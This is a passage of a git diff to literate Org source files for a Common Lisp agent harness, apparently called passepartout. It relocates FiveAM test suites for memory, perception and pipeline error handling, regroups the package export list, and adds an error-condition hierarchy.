+         (id2 (ingest-ast ast2))
+         (hash1 (memory-object-hash (memory-object-get id1)))
+         (hash2 (memory-object-hash (memory-object-get id2))))
+    (is (not (equal hash1 hash2)))))
+
+(test test-ingest-ast-returns-id
+  "Contract 1: ingest-ast returns a string ID and stores the object."
+  (clrhash passepartout::*memory-store*)
+  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
+    (is (stringp id))
+    (is (not (null id)))))
+
+(test test-memory-object-get
+  "Contract 3: memory-object-get retrieves an object by ID after ingest."
+  (clrhash passepartout::*memory-store*)
+  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
+    (let ((obj (memory-object-get id)))
+      (is (not (null obj)))
+      (is (eq :HEADLINE (memory-object-type obj)))
+      (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
+
+(test test-snapshot-and-rollback
+  "Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
+  (clrhash passepartout::*memory-store*)
+  (setf passepartout::*memory-snapshots* nil)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
+  (snapshot-memory)
+  (clrhash passepartout::*memory-store*)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
+  (rollback-memory 0)
+  (is (not (null (memory-object-get "snap-a"))))
+  (is (null (memory-object-get "snap-b"))))
+
+(test test-undo-snapshot-restore
+  "Contract v0.7.2: undo-snapshot captures state, undo restores."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "x" passepartout::*memory-store*) "hello")
+           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
+           (is (passepartout::undo))
+           (is (null (gethash "x" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-redo-cycle
+  "Contract v0.7.2: redo restores undone state."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "y" passepartout::*memory-store*) "world")
+           (is (passepartout::undo))
+           (is (null (gethash "y" passepartout::*memory-store*)))
+           (is (passepartout::redo))
+           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-empty-stack-nil
+  "Contract v0.7.2: undo returns nil on empty stack."
+  (let ((orig-undo passepartout::*undo-stack*))
+    (unwind-protect
+         (progn (setf passepartout::*undo-stack* nil)
+                (is (null (passepartout::undo))))
+      (setf passepartout::*undo-stack* orig-undo))))
+
+(test test-audit-node-found
+  "Contract v0.7.2: audit-node returns info for existing object."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "audit-1" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
+                                         :version 1 :hash "abc123" :scope :memex))
+  (let ((info (passepartout::audit-node "audit-1")))
+    (is (not (null info)))
+    (is (eq :HEADLINE (getf info :type)))
+    (is (string= "abc123" (getf info :hash)))))
+
+(test test-audit-node-not-found
+  "Contract v0.7.2: audit-node returns nil for nonexistent id."
+  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
+
+(test test-audit-verify-hash
+  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "a" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
+  (let ((result (passepartout::audit-verify-hash)))
+    (is (= 1 (car result)))
+    (is (= 0 (cdr result)))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -431,138 +567,3 @@ Returns (total . missing-hashes)."
     (cons total missing)))
 #+end_src
 
-* Test Suite
-Verifies that the Merkle hash is deterministic and consistent across independent AST ingestions.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-memory-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:memory-suite))
-
-(in-package :passepartout-memory-tests)
-
-(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
-(in-suite memory-suite)
-
-(test merkle-hash-consistency
-  "Contract 2: identical ASTs produce identical Merkle hashes."
-  (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
-    (clrhash passepartout::*memory-store*)
-    (let ((id1 (ingest-ast ast1)))
-      (let ((hash1 (memory-object-hash (memory-object-get id1))))
-        (clrhash passepartout::*memory-store*)
-        (let ((id2 (ingest-ast ast1)))
-          (is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
-
-(test merkle-hash-different
-  "Contract 2: distinct ASTs produce different Merkle hashes."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
-         (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
-         (id1 (ingest-ast ast1))
-         (id2 (ingest-ast ast2))
-         (hash1 (memory-object-hash (memory-object-get id1)))
-         (hash2 (memory-object-hash (memory-object-get id2))))
-    (is (not (equal hash1 hash2)))))
-
-(test test-ingest-ast-returns-id
-  "Contract 1: ingest-ast returns a string ID and stores the object."
-  (clrhash passepartout::*memory-store*)
-  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
-    (is (stringp id))
-    (is (not (null id)))))
-
-(test test-memory-object-get
-  "Contract 3: memory-object-get retrieves an object by ID after ingest."
-  (clrhash passepartout::*memory-store*)
-  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
-    (let ((obj (memory-object-get id)))
-      (is (not (null obj)))
-      (is (eq :HEADLINE (memory-object-type obj)))
-      (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
-
-(test test-snapshot-and-rollback
-  "Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
-  (clrhash passepartout::*memory-store*)
-  (setf passepartout::*memory-snapshots* nil)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
-  (snapshot-memory)
-  (clrhash passepartout::*memory-store*)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
-  (rollback-memory 0)
-  (is (not (null (memory-object-get "snap-a"))))
-  (is (null (memory-object-get "snap-b"))))
-
-(test test-undo-snapshot-restore
-  "Contract v0.7.2: undo-snapshot captures state, undo restores."
-  (let ((orig-store passepartout::*memory-store*)
-        (orig-undo passepartout::*undo-stack*)
-        (orig-redo passepartout::*redo-stack*))
-    (unwind-protect
-         (progn
-           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
-                 passepartout::*undo-stack* nil
-                 passepartout::*redo-stack* nil)
-           (passepartout::undo-snapshot)
-           (setf (gethash "x" passepartout::*memory-store*) "hello")
-           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
-           (is (passepartout::undo))
-           (is (null (gethash "x" passepartout::*memory-store*))))
-      (setf passepartout::*memory-store* orig-store
-            passepartout::*undo-stack* orig-undo
-            passepartout::*redo-stack* orig-redo))))
-
-(test test-undo-redo-cycle
-  "Contract v0.7.2: redo restores undone state."
-  (let ((orig-store passepartout::*memory-store*)
-        (orig-undo passepartout::*undo-stack*)
-        (orig-redo passepartout::*redo-stack*))
-    (unwind-protect
-         (progn
-           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
-                 passepartout::*undo-stack* nil
-                 passepartout::*redo-stack* nil)
-           (passepartout::undo-snapshot)
-           (setf (gethash "y" passepartout::*memory-store*) "world")
-           (is (passepartout::undo))
-           (is (null (gethash "y" passepartout::*memory-store*)))
-           (is (passepartout::redo))
-           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
-      (setf passepartout::*memory-store* orig-store
-            passepartout::*undo-stack* orig-undo
-            passepartout::*redo-stack* orig-redo))))
-
-(test test-undo-empty-stack-nil
-  "Contract v0.7.2: undo returns nil on empty stack."
-  (let ((orig-undo passepartout::*undo-stack*))
-    (unwind-protect
-         (progn (setf passepartout::*undo-stack* nil)
-                (is (null (passepartout::undo))))
-      (setf passepartout::*undo-stack* orig-undo))))
-
-(test test-audit-node-found
-  "Contract v0.7.2: audit-node returns info for existing object."
-  (clrhash passepartout::*memory-store*)
-  (setf (gethash "audit-1" passepartout::*memory-store*)
-        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
-                                         :version 1 :hash "abc123" :scope :memex))
-  (let ((info (passepartout::audit-node "audit-1")))
-    (is (not (null info)))
-    (is (eq :HEADLINE (getf info :type)))
-    (is (string= "abc123" (getf info :hash)))))
-
-(test test-audit-node-not-found
-  "Contract v0.7.2: audit-node returns nil for nonexistent id."
-  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
-
-(test test-audit-verify-hash
-  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
-  (clrhash passepartout::*memory-store*)
-  (setf (gethash "a" passepartout::*memory-store*)
-        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
-  (let ((result (passepartout::audit-verify-hash)))
-    (is (= 1 (car result)))
-    (is (= 0 (cdr result)))))
-#+end_src

org/core-package.org

@@ -11,7 +11,7 @@
 The export list is the contract between the harness and all skills. Every function exported here is accessible to every skill via ~use-package~. Adding a symbol here is an API commitment; removing one is a breaking change.
 
 The implementation section includes:
-- ~plist-get~ — robust plist accessor used everywhere in the pipeline
+- ~proto-get~ — robust plist accessor used everywhere in the pipeline
 - Logging state (~*log-buffer*~, ~*log-lock*~) — bounded ring buffer for LLM context
 - Skill registry (~*skill-registry*~, ~defskill~) — all loaded skills live here
 - Cognitive tool registry (~*cognitive-tool-registry*~, ~def-cognitive-tool~, ~cognitive-tool-prompt~)
@@ -21,29 +21,45 @@ The implementation section includes:
 * Implementation
 
 ** Package Definition and Export List
-The package definition. All public symbols are exported here.
+The export list is organized by source module so a contributor can find
+where to add new exports:
+
 #+begin_src lisp
 (defpackage :passepartout
   (:use :cl)
   (:export
+   ;; ── Core: Transport & Protocol ──
    #:frame-message
    #:read-framed-message
-    #:PROTO-GET
+   #:PROTO-GET
-    #:proto-get
+   #:proto-get
-   #:*VAULT-MEMORY*
    #:make-hello-message
    #:validate-communication-protocol-schema
    #:start-daemon
-   #:log-message
+   #:register-actuator
+   #:actuator-initialize
+   #:action-dispatch
+
+   ;; ── Core: Pipeline ──
    #:main
-    #:diagnostics-run-all
+   #:log-message
-    #:diagnostics-main
+   #:process-signal
-    #:diagnostics-dependencies-check
+   #:loop-process
-    #:diagnostics-env-check
+   #:perceive-gate
-    #:register-provider
+   #:loop-gate-perceive
-    #:provider-openai-request
+   #:act-gate
-    #:provider-config
+   #:loop-gate-act
-   #:run-setup-wizard
+   #:reason-gate
+   #:loop-gate-reason
+   #:cognitive-verify
+   #:backend-cascade-call
+   #:json-alist-to-plist
+   #:stimulus-inject
+   #:register-probabilistic-backend
+   #:*probabilistic-backends*
+   #:*provider-cascade*
+
+   ;; ── Core: Memory ──
    #:ingest-ast
    #:memory-object-get
    #:*memory-store*
@@ -60,6 +76,7 @@ The package definition. All public symbols are exported here.
    #:memory-object-content
    #:memory-object-hash
    #:memory-object-scope
+   #:memory-objects-by-attribute
    #:snapshot-memory
    #:rollback-memory
    #:undo-snapshot
@@ -67,10 +84,12 @@ The package definition. All public symbols are exported here.
    #:redo
    #:*undo-stack*
    #:*redo-stack*
-    #:context-get-system-logs
+
-    #:context-assemble-global-awareness
+   ;; ── Core: Context & Awareness ──
-    #:context-awareness-assemble
+   #:context-get-system-logs
-    #:context-query
+   #:context-assemble-global-awareness
+   #:context-awareness-assemble
+   #:context-query
    #:push-context
    #:pop-context
    #:current-context
@@ -82,91 +101,25 @@ The package definition. All public symbols are exported here.
    #:focus-session
    #:focus-memex
    #:unfocus
-   #:process-signal
+   #:*scope-resolver*
-   #:loop-process
+
-    #:perceive-gate
+   ;; ── Core: Skills Engine ──
-    #:loop-gate-perceive
+   #:skill
-    #:act-gate
-    #:loop-gate-act
-    #:reason-gate
-    #:loop-gate-reason
-    #:cognitive-verify
-    #:backend-cascade-call
-    #:json-alist-to-plist
-    #:json-alist-to-plist
-    #:inject-stimulus
-    #:stimulus-inject
-    #:hitl-create
-    #:hitl-approve
-    #:hitl-deny
-    #:hitl-handle-message
-   #:dispatcher-check-secret-path
-   #:dispatcher-check-shell-safety
-   #:dispatcher-check-privacy-tags
-   #:dispatcher-check-network-exfil
-   #:dispatcher-check
-    #:dispatcher-gate
-    #:wildcard-match
-    #:actuator-initialize
-   #:action-dispatch
-   #:register-actuator
-   #:load-skill-from-org
-    #:skill-initialize-all
-    #:lisp-syntax-validate
-    #:defskill
-       #:*skill-registry*
-       #:*scope-resolver*
-       #:*embedding-backend*
-       #:*embedding-queue*
-       #:*embedding-provider*
-       #:embed-queue-object
-       #:embed-object
-       #:embed-all-pending
-       #:embedding-backend-hashing
-       #:embedding-backend-native
-       #:embedding-native-load-model
-       #:embedding-native-unload
-       #:embedding-native-ensure-loaded
-       #:embedding-native-get-dim
-       #:embeddings-compute
-       #:mark-vector-stale
-     #:skill
    #:skill-name
    #:skill-priority
    #:skill-dependencies
    #:skill-trigger-fn
    #:skill-probabilistic-prompt
    #:skill-deterministic-fn
+   #:defskill
+   #:*skill-registry*
+   #:skill-initialize-all
+   #:load-skill-from-org
+   #:lisp-syntax-validate
+
+   ;; ── Core: Cognitive Tools ──
    #:def-cognitive-tool
    #:*cognitive-tool-registry*
-    #:org-read-file
-    #:org-write-file
-    #:org-headline-add
-    #:org-headline-find-by-id
-    #:literate-tangle-sync-check
-    #:archivist-create-note
-    #:gateway-start
-    #:org-property-set
-    #:org-todo-set
-    #:org-id-generate
-    #:org-id-format
-    #:org-modify
-    #:lisp-validate
-    #:lisp-structural-check
-    #:lisp-syntactic-check
-    #:lisp-semantic-check
-    #:lisp-eval
-    #:lisp-format
-    #:lisp-list-definitions
-    #:lisp-extract
-    #:lisp-inject
-    #:lisp-slurp
-   #:get-oc-config-dir
-    #:get-tool-permission
-    #:set-tool-permission
-    #:check-tool-permission-gate
-    #:permission-get
-    #:permission-set
    #:cognitive-tool
    #:cognitive-tool-name
    #:cognitive-tool-description
@@ -174,59 +127,132 @@ The package definition. All public symbols are exported here.
    #:cognitive-tool-guard
    #:cognitive-tool-body
    #:tool-read-only-p
-   #:register-probabilistic-backend
+
-   #:*probabilistic-backends*
+   ;; ── Security: Dispatcher ──
-   #:*provider-cascade*
+   #:dispatcher-check-secret-path
-    #:vault-get
+   #:dispatcher-check-shell-safety
-    #:vault-set
+   #:dispatcher-check-privacy-tags
-    #:vault-get-secret
+   #:dispatcher-check-network-exfil
-    #:vault-set-secret
+   #:dispatcher-check
-    #:memory-objects-by-attribute
+   #:dispatcher-gate
-    #:channel-cli-input
+   #:wildcard-match
-    #:repl-eval
+
-    #:repl-inspect
+   ;; ── Security: HITL ──
-    #:repl-list-vars
+   #:hitl-create
-    #:policy-compliance-check
+   #:hitl-approve
-    #:validator-protocol-check
+   #:hitl-deny
-    #:archivist-extract-headlines
+   #:hitl-handle-message
-    #:archivist-headline-to-filename
+
-    #:literate-extract-lisp-blocks
+   ;; ── Security: Vault & Permissions ──
-    #:literate-block-balance-check
+   #:*VAULT-MEMORY*
-    #:gateway-registry-initialize
+   #:vault-get
-    #:messaging-link
+   #:vault-set
-    #:messaging-unlink
+   #:vault-get-secret
-    #:gateway-configured-p
+   #:vault-set-secret
-    #:count-tokens
+   #:get-tool-permission
-    #:model-token-ratio
+   #:set-tool-permission
-    #:token-cost
+   #:check-tool-permission-gate
-    #:provider-token-cost
+   #:permission-get
-    #:cost-track-call
+   #:permission-set
-    #:cost-session-total
+   #:policy-compliance-check
-    #:cost-session-calls
+   #:validator-protocol-check
-    #:cost-by-provider
+
-    #:cost-session-reset
+   ;; ── Embedding ──
-    #:cost-format-budget-status
+   #:*embedding-backend*
-    #:cost-track-backend-call
+   #:*embedding-queue*
-    #:prompt-prefix-cached
+   #:*embedding-provider*
-    #:context-assemble-cached
+   #:embed-queue-object
-    #:enforce-token-budget
+   #:embed-object
-    #:token-economics-initialize))
+   #:embed-all-pending
+   #:embedding-backend-hashing
+   #:embedding-backend-native
+   #:embedding-native-load-model
+   #:embedding-native-unload
+   #:embedding-native-ensure-loaded
+   #:embedding-native-get-dim
+   #:embeddings-compute
+   #:mark-vector-stale
+
+   ;; ── Channels ──
+   #:channel-cli-input
+   #:gateway-start
+   #:gateway-registry-initialize
+   #:messaging-link
+   #:messaging-unlink
+   #:gateway-configured-p
+
+   ;; ── Programming: Lisp ──
+   #:lisp-validate
+   #:lisp-structural-check
+   #:lisp-syntactic-check
+   #:lisp-semantic-check
+   #:lisp-eval
+   #:lisp-format
+   #:lisp-list-definitions
+   #:lisp-extract
+   #:lisp-inject
+   #:lisp-slurp
+
+   ;; ── Programming: Org ──
+   #:org-read-file
+   #:org-write-file
+   #:org-headline-add
+   #:org-headline-find-by-id
+   #:org-property-set
+   #:org-todo-set
+   #:org-id-generate
+   #:org-id-format
+   #:org-modify
+
+   ;; ── Programming: Literate & REPL ──
+   #:literate-tangle-sync-check
+   #:literate-extract-lisp-blocks
+   #:literate-block-balance-check
+   #:repl-eval
+   #:repl-inspect
+   #:repl-list-vars
+
+   ;; ── Symbolic ──
+   #:archivist-create-note
+   #:archivist-extract-headlines
+   #:archivist-headline-to-filename
+
+   ;; ── Diagnostics & Config ──
+   #:diagnostics-run-all
+   #:diagnostics-main
+   #:diagnostics-dependencies-check
+   #:diagnostics-env-check
+   #:get-oc-config-dir
+   #:run-setup-wizard
+
+   ;; ── Providers ──
+   #:register-provider
+   #:provider-openai-request
+   #:provider-config
+
+   ;; ── Token Economics ──
+   #:count-tokens
+   #:model-token-ratio
+   #:token-cost
+   #:provider-token-cost
+   #:cost-track-call
+   #:cost-session-total
+   #:cost-session-calls
+   #:cost-by-provider
+   #:cost-session-reset
+   #:cost-format-budget-status
+   #:cost-track-backend-call
+   #:prompt-prefix-cached
+   #:context-assemble-cached
+   #:enforce-token-budget
+   #:token-economics-initialize))
 #+end_src
 
 ** Package Implementation
 The package implementation section defines the low-level utilities and global state that are shared across all harness components and skills.
 
-*** Robust plist access (plist-get)
-Retrieves a value from a plist, checking both upper and lowercase keyword variants. This is needed because different components use different keyword conventions.
 #+begin_src lisp
 (in-package :passepartout)
-
-(defun plist-get (plist key)
-  "Robust plist accessor — checks both :KEY and :key variants."
-  (let* ((s (string key))
-         (up (intern (string-upcase s) :keyword))
-         (dn (intern (string-downcase s) :keyword)))
-    (or (getf plist up) (getf plist dn))))
 #+end_src
 
 *** Logging state

org/core-perceive.org

@@ -35,6 +35,54 @@ The depth limit prevents runaway recursive loops. A signal that generates anothe
    Sets ~:status :perceived~ on completion. Returns the signal.
 2. (perceive-gate signal): thin alias for ~loop-gate-perceive~.
 
+* Test Suite
+Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-pipeline-perceive-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:pipeline-perceive-suite))
+
+(in-package :passepartout-pipeline-perceive-tests)
+
+(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
+(in-suite pipeline-perceive-suite)
+
+(test test-loop-gate-perceive
+  "Contract 1: :buffer-update ingests AST and sets :perceived status."
+  (clrhash passepartout::*memory-store*)
+  (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))
+    (is (not (null (gethash "test-node" passepartout::*memory-store*))))))
+
+(test test-depth-limiting
+  "Edge: depth 11 signals are rejected by the pipeline."
+  (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
+    (is (null (process-signal runaway-signal)))))
+
+(test test-loop-gate-perceive-unknown-sensor
+  "Contract 1: unknown sensors pass through and reach :perceived."
+  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))))
+
+(test test-loop-gate-perceive-no-ast
+  "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
+  (clrhash passepartout::*memory-store*)
+  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))))
+
+(test test-depth-limiting-normal
+  "Contract 1: signals at normal depth pass through without rejection."
+  (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
+    (is (not (eq :rejected (getf normal-signal :status)))
+        "Signal at normal depth should not be rejected")))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -109,18 +157,6 @@ FN receives (signal) and returns T if consumed, nil to continue."
   (setf (gethash sensor *pre-reason-handlers*) fn))
 #+end_src
 
-** inject-stimulus backward-compatibility alias
-
-Skills and external code that still call ~inject-stimulus~ (the previous
-name for the pipeline injection function) can use this alias. New code
-should call ~stimulus-inject~ directly.
-
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defun inject-stimulus (raw-message &key stream (depth 0))
-  (stimulus-inject raw-message :stream stream :depth depth))
-#+end_src
-
 ** Stimulus Injection (stimulus-inject)
 
 This is the entry point that gateways call to send a message into the cognitive pipeline. It sets metadata (source, session ID, reply stream), decides whether the stimulus should be processed synchronously or on a background thread, and wraps the whole thing in error recovery so that no single bad stimulus can crash the system.
@@ -252,50 +288,3 @@ uses the old name can call this alias. New code should call
   (loop-gate-perceive signal))
 #+end_src
 
-* Test Suite
-Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-pipeline-perceive-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:pipeline-perceive-suite))
-
-(in-package :passepartout-pipeline-perceive-tests)
-
-(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
-(in-suite pipeline-perceive-suite)
-
-(test test-loop-gate-perceive
-  "Contract 1: :buffer-update ingests AST and sets :perceived status."
-  (clrhash passepartout::*memory-store*)
-  (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))
-    (is (not (null (gethash "test-node" passepartout::*memory-store*))))))
-
-(test test-depth-limiting
-  "Edge: depth 11 signals are rejected by the pipeline."
-  (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
-    (is (null (process-signal runaway-signal)))))
-
-(test test-loop-gate-perceive-unknown-sensor
-  "Contract 1: unknown sensors pass through and reach :perceived."
-  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))))
-
-(test test-loop-gate-perceive-no-ast
-  "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
-  (clrhash passepartout::*memory-store*)
-  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))))
-
-(test test-depth-limiting-normal
-  "Contract 1: signals at normal depth pass through without rejection."
-  (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
-    (is (not (eq :rejected (getf normal-signal :status)))
-        "Signal at normal depth should not be rejected")))
-#+end_src

org/core-pipeline.org

@@ -28,19 +28,83 @@ The stage separation is the functional equivalent of the "thin harness" principl
 
 A signal that generates another signal that generates another signal can infinite-loop. The depth limit (max 10) prevents this. If depth exceeds 10, the signal is silently dropped. This is the metabolic loop's circuit breaker.
 
-The three-tier error recovery model:
+The three-tier error recovery model, now backed by a condition hierarchy
-1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry
+that skills can hook into via ~handler-bind~:
-2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot
+
-3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement
+1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry. Use the ~skip-signal~ or ~use-fallback~ restart.
+2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot.
+3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement.
+
+Condition types available for structured error handling:
+- ~pipeline-error~ — any Perceive→Reason→Act failure
+- ~llm-error~ — provider timeout, cascade exhaustion, API error (slots: provider, cascade, attempt-count)
+- ~gate-error~ — dispatcher blocked a proposed action (slots: gate-name, rejected-action)
+- ~budget-error~ — session cap exceeded (slots: remaining, requested)
+- ~protocol-error~ — malformed message or framing failure
 
 ** Contract
 
 1. (loop-process signal): the full pipeline loop — Perceive → Reason
    → Act. Enforces depth limit (10). Catches errors with rollback and
    ~:loop-error~ re-injection on non-terminal errors below depth 2.
+   Establishes restart options: ~skip-signal~ (drop the event),
+   ~use-fallback text~ (inject canned response), ~abort-pipeline~
+   (clean exit). Skills can invoke these restarts from ~handler-bind~
+   clauses on the condition hierarchy.
 2. (process-signal signal): thin alias for ~loop-process~.
 3. (diagnostics-startup-run): runs health check on startup, sets
    ~*system-health*~ to ~:healthy~, ~:degraded~, or ~:unhealthy~.
+4. *passepartout-error* condition hierarchy: ~pipeline-error~,
+   ~llm-error~ (provider, cascade, attempt-count slots), ~gate-error~
+   (gate-name, rejected-action slots), ~budget-error~ (remaining,
+   requested slots), ~protocol-error~ (raw-message slot). All carry a
+   ~:message~ string via the root ~passepartout-error~.
+
+* Test Suite
+Verifies that the immune system (error handling) correctly catches and reports errors from the cognitive pipeline.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-immune-system-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:immune-suite))
+
+(in-package :passepartout-immune-system-tests)
+
+(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
+(in-suite immune-suite)
+
+(test loop-error-injection
+  "Contract 1: a crash in think/decide triggers :loop-error stimulus."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout:defskill :evil-skill
+    :priority 100
+    :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
+    :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
+    :deterministic nil)
+  (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
+  (let ((logs (if (fboundp 'passepartout::context-get-system-logs)
+                  (passepartout:context-get-system-logs 20)
+                  nil)))
+    (is (or (null logs)  ; no log service available — degraded but not broken
+            (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
+
+(test test-process-signal-normal-path
+  "Contract 1: a valid signal passes through the pipeline without crash."
+  (clrhash passepartout::*skill-registry*)
+  (handler-case
+      (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
+        (process-signal signal)
+        (pass))
+    (error (c)
+      (fail "Pipeline crashed on normal signal: ~a" c))))
+
+(test test-loop-process-returns-nil-on-deep
+  "Contract 1: depth > 10 returns nil from loop-process."
+  (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
+    (is (null result))))
+#+end_src
 
 * Implementation
 
@@ -49,6 +113,54 @@ The three-tier error recovery model:
 (in-package :passepartout)
 #+end_src
 
+** Error Condition Hierarchy
+
+The pipeline defines a condition hierarchy so callers can distinguish
+failure modes without inspecting raw error strings. Every pipeline
+condition carries structured slots for telemetry and restart selection.
+
+Skills install ~handler-bind~ for specific conditions (e.g., a provider
+health monitor that records ~llm-error~ failures per backend). The
+restarts registered in ~loop-process~ enable structured recovery:
+skip the signal, retry with a modified prompt, inject a fallback
+response, or abort the cycle.
+
+#+begin_src lisp
+(define-condition passepartout-error (error)
+  ((message :initarg :message :reader error-message))
+  (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
+  (:documentation "Root of the pipeline error hierarchy."))
+
+(define-condition pipeline-error (passepartout-error)
+  ((signal :initarg :signal :reader pipeline-error-signal :initform nil))
+  (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
+  (:documentation "Any error during the Perceive→Reason→Act cycle."))
+
+(define-condition llm-error (pipeline-error)
+  ((provider :initarg :provider :reader llm-error-provider)
+   (cascade :initarg :cascade :reader llm-error-cascade :initform nil)
+   (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
